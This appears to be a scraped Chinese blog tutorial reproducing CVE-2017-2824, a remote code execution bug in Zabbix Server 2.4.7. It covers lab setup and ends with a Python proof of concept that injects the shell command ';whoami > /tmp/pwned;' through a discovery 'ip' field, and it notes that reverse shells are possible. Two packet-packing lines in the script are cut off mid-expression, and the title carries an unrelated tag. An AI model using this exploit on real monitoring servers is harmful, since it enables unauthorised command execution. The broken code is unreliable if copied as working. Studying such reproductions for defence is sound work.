php-proxy3 漏洞,Zabbix Server Active Proxy Trappe RCE 漏洞详解(CVE-2017-2824)

前言

有点相似Zabbix是一种企业监控解决方案,旨在使组织能够监控其网络中各种系统的健康状况和状态,包括:网络服务,服务器和网络设备。前些日子Lilith Wyatt of Cisco ASIG 发现利用命令注入的形式可以在Zabbix Server上实现远程代码执行,影响的版本为Zabbix 2.4.7 – 2.4.8r1。在复现过程中发现利用条件比较苛刻,首先需要能访问到Zabbix Server监听的10051端口,另外需要配置Proxy,以及相应的Action来自动添加Host,从而达到利用ip参数进行命令注入。

1. 基础工作

下载centos7 用virtualbox进行运行,接下来就是安装php mysql apache等相关基础运行环境。关闭SELinux和防火墙以及启动httpd,mariadb。添加zabbix组和用户,zabbix_server组件默认会用zabbix用户启动

yum install php php-mysql php-gd php-pear mariadb-server mariadb

systemctl start mariadb

systemctl start httpd

systemctl stop firewalld.service

setenforce 0

groupadd zabbix

useradd -g zabbix zabbix

2. 编译安装Zabbix

2.1 下载有漏洞的版本

wget [https://nchc.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz](https://nchc.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz)

2.2 安装依赖

yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc

2.3 编译并安装

可以修改--prefix参数来选择安装目录

tar -xvf zabbix-2.4.7.tar.gz

cd zabbix-2.4.7/

./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl

make

make install

2.4 导入数据

mysql -uroot

>create database zabbix character set utf8 collate utf8_bin;

>use zabbix;

>source /root/zabbix-2.4.7/database/mysql/schema.sql

>source /root/zabbix-2.4.7/database/mysql/images.sql

>source /root/zabbix-2.4.7/database/mysql/data.sql

3. 安装Zabbix Web界面

3.1 复制PHP文件到web目录

mkdir /var/www/html/t

cd frontends/php

cp -a . /var/www/html/t

cd /var/www/html/t

chown apache:apache -R .

3.2 修改php.ini

由于访问setup.php时需要符合一定的配置

post_max_size = 16M

max_execution_time = 300

max_input_time = 300

date.timezone = Asia/Shanghai

allow_url_fopen = On

3.3 安装前端

访问虚拟机的80端口进行安装,安装后默认登录凭证是Admin/zabbix

4 漏洞复现

4.1 添加 proxy

Administration > proxies > Create proxy

记下填写的name

4.2 创建 Action

configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host

php-proxy3 漏洞,Zabbix Server Active Proxy Trappe RCE 漏洞详解(CVE-2017-2824)_第1张图片

php-proxy3 漏洞,Zabbix Server Active Proxy Trappe RCE 漏洞详解(CVE-2017-2824)_第2张图片

4.3 触发漏洞

当zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。

import socket

import struct

import json

ZABBIX_HOST = "192.168.1.12"

ZABBIX_PORT = 10051

def send_to_zabbix(data):

client = socket.socket()

client.connect((ZABBIX_HOST,ZABBIX_PORT))

packet = "ZBXD\x01" + struct.pack('

client.sendall(packet)

head = client.recv(1024)

if "ZBXD" not in head:

client.close()

return head

pkt_len = struct.unpack('

data = client.recv(pkt_len[0])

client.close()

return data

data = """{"request":"command","scriptid":1,"hostid":10107}"""

discovery = """{

"request": "discovery data",

"host": "test",

"clock":1485353070,

"data": [

{

"clock":1485353070,

"drule":2,

"dcheck":2,

"type":0,

"ip":";whoami > /tmp/pwned;",

"dns":"abc.com.cc",

"port":10050,

"key":"zzztest",

"status":0,

"value":"fuck"

}

]

}

"""

#利用自动发现功能添加Host

#可以‘select * from interface;’ 查看是否自动添加成功

print send_to_zabbix(discovery)#利用命令注入进行攻击# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1

print send_to_zabbix(data)

hostid添加到interface表后需要自己查看修改。

运行后可以看到生成了/tmp/pwned文件

5. 参考

你可能感兴趣的:(php-proxy3,漏洞)